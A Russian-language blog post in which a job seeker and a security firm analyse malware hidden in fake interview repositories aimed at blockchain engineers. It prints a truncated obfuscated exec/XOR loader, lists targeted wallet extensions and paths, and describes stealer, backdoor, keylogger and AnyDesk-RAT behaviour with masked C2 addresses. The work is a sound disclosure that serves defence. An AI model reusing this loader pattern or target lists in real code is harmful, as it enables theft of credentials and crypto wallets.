Найти в Дзене
Oleg Khovayko

«Слово криптана» или как мошенники нацелились на блокчейн-инженеров

И в процессе имитации собеседования пытаются заставить соискателя загрузить на свой компьютер зловреда и запустить его. Так получилось, что я снова в поисках работы. Честно говоря - ситуация для меня редкая, я вообще впервые ищу работу на открытом рынке труда. Естественно - новые впечатления, новый опыт. Самое интересное из нового опыта - столкнулся с мошенниками, мимикрирующими под работодателя. Это для меня нечто новое, и хочу поделиться опытом, да и предостеречь других соискателей от "пападакиса". Мошенники действуют следующим образом: Информацию о паре инцидентов и локализованных зловредов я передал в дружественную компанию Рекрипт, cпециализирующуюся на компьютерной безопасности. Они провели детальный и качественный анализ вредоносного кода, и написали отчёт, который я и предоставляю ниже. Не так давно мы анонсировали исследование на эту тему. Как и обещали, делимся результатами. Публиковать статью где-либо долго, поэтому мы решили тезисно и по частям опубликовать результаты этог
Оглавление

И в процессе имитации собеседования пытаются заставить соискателя загрузить на свой компьютер зловреда и запустить его.

Введение

Так получилось, что я снова в поисках работы. Честно говоря - ситуация для меня редкая, я вообще впервые ищу работу на открытом рынке труда. Естественно - новые впечатления, новый опыт. Самое интересное из нового опыта - столкнулся с мошенниками, мимикрирующими под работодателя. Это для меня нечто новое, и хочу поделиться опытом, да и предостеречь других соискателей от "пападакиса".

Мошенники действуют следующим образом:

  • Размещают на сайтах поиска работы (в моём случае - LinkedIn) обьявления о вакансии.
  • Соискатель посылает резюме.
  • Мошенник выходит на контакт, в чате заявляет, что ему резюме очень понравилось, давайте мол проведём краткую ознакомительную беседу, что надо будет делать. Даёт ссылку на репозиторий github или bitbucket "проекта", и предлагает скачать "продукт, над которым Вы будете работать" и запустить.
  • После того как я заявил, что не буду запускать незнамно что, "работодатель" вышел из контакта. Но скачанный "продукт" вызвал исследовательский интерес, и через полтора часа исследования "продукта" я локализовал запрятанного в нём зловреда.

Информацию о паре инцидентов и локализованных зловредов я передал в дружественную компанию Рекрипт, cпециализирующуюся на компьютерной безопасности. Они провели детальный и качественный анализ вредоносного кода, и написали отчёт, который я и предоставляю ниже.

Часть 1. Имплант

Не так давно мы анонсировали исследование на эту тему. Как и обещали, делимся результатами. Публиковать статью где-либо долго, поэтому мы решили тезисно и по частям опубликовать результаты этого исследования здесь - в нашем телеграм-канале. Отметим, что на момент публикации все репозитории и ссылки живые. Здесь приводим не всё, но схема понятна

Итак, вечером 21 октября с нами связался наш коллега — основатель блокчейн-платформы Emercoin Олег Ховайко. Олег обнаружил интересную фишинговую активность в социальной сети Linkedin и решил поделиться с нами этой информацией, а также результатами своих первоначальных исследований.

Сама фишинговая схема, хоть и является довольно свежей, не оригинальна и описана, например, здесь и здесь. В случае, обнаруженном Олегом, мошенники мимикрировали под работодателя, разыскивающего специалистов по блокчейн-технологиям. Мошенники в процессе «собеседования», которое проходит, конечно же, онлайн, предлагают скачать проект из репозитория, запустить код, сделать скриншоты. Вот один из таких репозиториев, на который любезно указал нам Олег. Будьте внимательны с этим репозиторием и не запускайте этот код у себя, если у вас нет достаточных знаний и опыта! Интерес представляет файл pypay/libra.py. В нём находится имплант следующего вида:

zg="tGlmYksYLGExQeQcSNC4jDU0GNFNjbBgzBDQbHCs4GDNFfhEfMC5gRUM9DhA2ITceCCoYWwYTLgEd...
exec("from base64 import b64decode;d1=b64decode(zg[9:]);sk=zg[1:9];sl=len(d1);mq=''\
    for l0 in range(sl):k=l0&7;w=chr(d1[l0]^ord(sk[k]));mq+=w\nexec(mq)")

Имплант пытались «скрыть» за большим числом символов табуляции, чтобы уменьшить вероятность случайного обнаружения при беглом анализе кода. Дальнейшее исследование проводилось уже непосредственно нашей командой.

Сам имплант представляет собой, как видно на листинге выше, Base64-строку довольно большого размера, после которой следует код её декодирования с последующим нехитрым расшифрованием с помощью xor. В результате получается код следующего вида:

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
exec((_)(b'=UsIfc9D+//vPz/r3TQOhAC8tx55A6ktxAvPff96J/J9+PyH1kQX5VQfR/lyANmVNWHseBJQ6...

Эта лямбда-функция декодирует подаваемую на вход строку, предварительно проинвертировав её. После первой итерации декодирования получим такой результат:

exec((_)(b’{новая строка base64…}))

И так много десятков раз :) В конечном итоге после многократного декодирования мы получим нагрузку — dropper, который получает управление, скачивает файл с адреса http://<XXX.XXX.XXX.XXX>:1245/m/NVRlYW05, сохраняет по пути {домашний каталог пользователя}/.vscode/m2 и запускает его.

Часть 2. Доступ к криптокошелькам

m2

В файле m2 используется кодирование, аналогичное описанному ранее. Вообще во всех исследованных нами скриптах обфускация выглядит одинаково. m2 – это stealer, который делает следующее:

  • по адресу http://<XXX.XXX.XXX.XXX>:1245/keys отправляет пакет со следующим содержимым: {текущее время, тип нагрузки (в нашем случае значение 'NVRlYW05'), имя компьютера, 'ojq', '4C2' + текущая рабочая директория};
  • подключается к http://<XXX.XXX.XXX.XXX>:1245/client/NVRlYW05, скачивает файл в {домашний каталог пользователя}/.vscode/client и запускает его;
  • ходит по папкам браузеров Chrome, Opera, Brave и ищет папки расширений криптокошельков, все найденные файлы из этих папок отправляет на сервер http://<XXX.XXX.XXX.XXX>:1245/bin;
  • если на компьютере установлена Windows, отправляются файлы расширений криптокошельков браузера Microsoft Edge;
  • если установлена MacOS, отправляются файлы из папки /Library/Keychains/login.keychain, сохраненные пароли браузеров Brave, Chrome;
  • если установлена Linux, то оправляются файлы из папки /.local/share/keyrings/, а также сохраненные пароли браузеров Chrome, Firefox

Папки расширений криптокошельков приведены на листинге ниже:

Locals = [
    'nkbihfbeogaeaoehlefnkodbefgpgknn', # metamask2
    'ibnejdfjmmkpcnlpebklmnkoeoihofec', # Tron
    'ejbalbakoplchlghecdalmeeeajnimhm', # Metamask2
    'fhbohimaelbohpjbbldcngcnapndodjp', # BNB Chain Wallet
    'bfnaelmomeimhlpmgjnjophhpkkoljpa', # Phantom
    'hnfanknocfeofbddgcijnmhnfnkdnaad', # Coinbase Wallet extension
    'fnjhmkhhmkbjkkabndcnnogagogbneec', # Ronin Wallet
    'aeachknmefphepccionboohckonoeemg', # Coin98 Wallet
    'hifafgmccdpekplomjjkcfgodnhcellj'  # Crypto.com | Wallet Extension
]

client

client – это dropper (практически аналогичный libra.py), который скачивает два файла. Первый файл загружается с http://<XXX.XXX.XXX.XXX>:1244/payload/NVRlYW05 и сохраняется в рабочей директории как .vscode/pay. Второй - c http://<XXX.XXX.XXX.XXX>:1244/bow/NVRlYW05 и сохраняется как .vscode/bow (при условии, что компьютер управляется ОС Linux или Windows).

pay

Файл pay скачивается закодированным по тому же принципу, что и файлы выше. При запуске он:

  • собирает информацию о компьютере: uuid, система, релиз системы, версия системы, название компьютера, уникальный идентификатор;
  • с помощью сервиса http://ip-api.com/json получает информацию о сетевом подключении: страна, город, широта, долгота, ip, внутренний ip, временная зона и т.д;.
  • всю эту информацию отправляет по адресу http://<XXX.XXX.XXX.XXX>:1244/keys;
  • инициирует подключение через raw sockets к XXX.XXX.XXX.XXX по 1245 порту и ждет от сервера команд вида {‘code’: value, ‘args’: value}.

code может иметь значения от 1 до 9:

A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env,9:A.ssh_zcp}

Каждое такое значение обозначает функцию, которую необходимо вызвать с аргументом args

Т.е. pay является полноценным бэкдором с достаточно широким функционалом!

Часть 3. Бэкдор, RAT и при чём тут Telegram

Продолжаем. В этой части разберём возможности устанавливаемого в систему бэкдора pay, список команд которого приведён в предыдущем посте, а также дальнейшую вредоносную активность.

Ниже приведено детально описание команд бэкдора pay:

ssh_obj – исполняет команды, полученные от сервера (по сути, выполняет полученную строку через subprocess.Popen(…) с аргументом shell = True). Таким образом можно выполнить практически любое действие в системе жертвы. Крайне полезно для закрепления, повышения привилегий и дальнейшего продвижения.

ssh_cmd – если args == delete, то удаляет данный файл после закрытия соединения (других аргументов в коде скрипта обнаружено не было).

ssh_clip – отправляет на сервер содержимое глобальной переменной e_buf (о ней расскажем чуть позже).

ssh_run – скачивает c http://<XXX.XXX.XXX.XXX>:1244/brow/NVRlYW05 в ~/.n2/bow и запускает его.

ssh_upload – в зависимости от переданного аргумента может загружать папки, файлы, искать определенные файлы и папки и загружать их.

ssh_kill – завершает процессы браузеров Brave и Chrome.

ssh_any – скачивает нагрузку с http://<XXX.XXX.XXX.XXX>:1244/adc/NVRlYW05 в ~/.n2/adc и запускает её.

ssh_env – в аргументе приходят данные для подключения к FTP-серверу. Если компьютер работает под управлением Windows, происходит отправка файлов из папок ~/Documents и ~/Downloads. В противном случае отправляются файлы из папок ~/home ~/Volumes.

ssh_zcp – создает временную папку, в которую копирует файлы из расширений браузеров, которые являются криптокошельками. Список весьма внушительный, публиковать его здесь мы не будем. Просто поверьте, что там много. Значительно больше, чем в листинге из предыдущего поста. В эту же папку копируются файлы клиентских криптокошельков:

app_win_array={r"%LocalAppData%\\1Password":"1pass",r"%AppData%\\Exodus":"exodus",
                   r"%AppData%\\atomic":"atomic",r"%AppData%\\Electrum":"electrum",
                   r"%AppData%\\WinAuth":"winauth",
                   r"%AppData%\\Proxifier4\\Profiles":"proxifier4",
                   r"%AppData%\\Dashlane":"dashlane"}app_osx_array={m_base_p+"Exodus":"exodus",m_base_p+"atomic":"atomic"}
app_linux_array={l_conf_p+"Exodus":"exodus",l_conf_p+"atomic":"atomic"}

После этого временная папка сжимается и отправляется Telegram-боту, токен от которого был получен в аргументе к команде (работа через Telegram набирает популярность). Если отправка боту завершилась с ошибкой, происходит загрузка на FTP сервер.

Если система работает под управлением Windows, будет запущен keylogger, результаты которого будут записываться в глобальную переменную e_buf, содержимое которой, в свою очередь, будет отправлено на сервер при вызове функции ssh_clip, о которой шла речь выше.

По сути, бэкдор позволяет на время своей работы получить контроль над системой с теми же возможностями, что и текущий пользователь.

Но это ещё не всё. Ведь у нас осталось ещё два скрипта: bow и adc

bow

Скрипт bow пытается дешифровать логин и пароль из популярных браузеров (Chrome, Opera, Brave, Yandex, Microsoft Edge) и отправить их на http://<XXX.XXX.XXX.XXX>:1244/keys

adc

Если компьютер находится под управлением Windows, скрипт пытается обратиться к http://<XXX.XXX.XXX.XXX>:1244/any , скачать Anydesk.exe (утилита для удалённого администрирования системы) и установить его. После этого в конфигурационный файл прописываются свои данные. Если же компьютер находится под управлением Linux, скрипт пытается найти уже установленный Anydesk и дописывает в файл конфигурации свои данные. Таким образом на системе жертвы устанавливается полноценный RAT (Remote Access Trojan) с широчайшими возможностями для любых дальнейших действий.

Часть 4. Заключение

Первый вопрос, который всплывает в голове: единственный ли это репозиторий, который используется мошенниками? К сожалению, нет. Вот пример ещё одного репозитория, где имплант находится в файле public/Marketing/imgs/fb-logo.png . Этот файл, несмотря на вводящее в опасное заблуждение расширение, является обфусцированным js-скриптом, который обращается к папкам расширений криптокошельков браузеров (Chrome, Opera, Brave, Firefox, Microsoft Edge), собирает оттуда файлы и отправляет их по адресу http://XXX.XXX.XXX.XXX:1224/uploads. Также этот скрипт загружает файл client с адреса http://XXX.XXX.XXX.XXX:1224/client/10/106. Если машина управляется Windows, дополнительно скачивается архив pi2.zip с адреса http://XXX.XXX.XXX.XXX:1224/pdown. В архиве находятся python-скрипты с названиями, функционалом и методами обфускации, сходными с описанными выше. Это говорит нам об одном авторстве вредоносных нагрузок. Разница, по сути, только в имплантах.

Качество фишинговых атак возрастает. Сайты компаний и объявления сделаны довольно качественно, репозитории с кодом размещены на популярных площадках. Сами импланты и их обфускация заслуживают отдельного внимания. Импланты размещены «глубоко в коде» - в файлах, расположенных «не на виду», которые при беглом взгляде кажутся совершенно не важными, чтобы заострять на них внимание. Обфускация и шифрование имплантов призваны затруднить декодирование вредоносной нагрузки. Незаинтересованный человек, даже если увидит имплант, скорее всего просто не станет дальше копать и прекратит общение с мошенниками, потому что декодирование нагрузки требует некоторого времени и немного поскриптовать. В декодированных вредоносных скриптах адреса удалённых ресурсов не присутствуют в явном виде, а собираются из закодированных строк. Всё вышесказанное намекает на противодействие в том числе и автоматизированному анализу.

Специалисты по блокчейн выбраны в качестве жертв неслучайно, т.к. вероятность, что на их устройствах будут криптокошельки, существенно выше, чем в других случаях. Впрочем, нагрузки достаточно универсальны, довольно неплохо сделаны и могут использоваться не только для атак на блокчейн-инженеров. Кражей кошельков дело не ограничивается - мошенники пытаются получить доступ к другой чувствительной информации: логины с паролями, содержимое буфера обмена. Также запускается backdoor, что позволяет злоумышленникам осуществлять широкий спектр действий на компьютере жертвы. В этот момент злоумышленники знают о системе жертвы практически всё, что позволяет им работать целенаправленно, повышая свою эффективность. Запуск Anydesk в роли RAT усугубляет проблему и позволяет мошенникам оперировать компьютером жертвы практически как своим собственным.

Загрузка данных Telegram-боту выглядит интересно. Технология не так уж и нова, но довольно удобна и эффективна, поэтому набирает популярность и встречается всё чаще. Даже в корпоративных инфраструктурах блокировка Telegram – не столь частое явление, а зачастую Telegram – это полноценный рабочий инструмент в том числе и в больших компаниях. Десктопные клиенты мессенджеров в корпоративной инфраструктуре встречаются нередко, а значит, такой трафик не вызовет подозрений на периметре. Т.е., если соискатель проходит «собеседование» на рабочем месте в компании, то, учитывая внушительные возможности устанавливаемого злоумышленниками инструментария, вероятность компрометации всей корпоративной инфраструктуры крайне высока.

Число вредоносов на некомпилируемых языках (типа Python) растёт. Это позволяет атаковать широкий спектр систем, базирующихся на Windows, Linux, MacOS.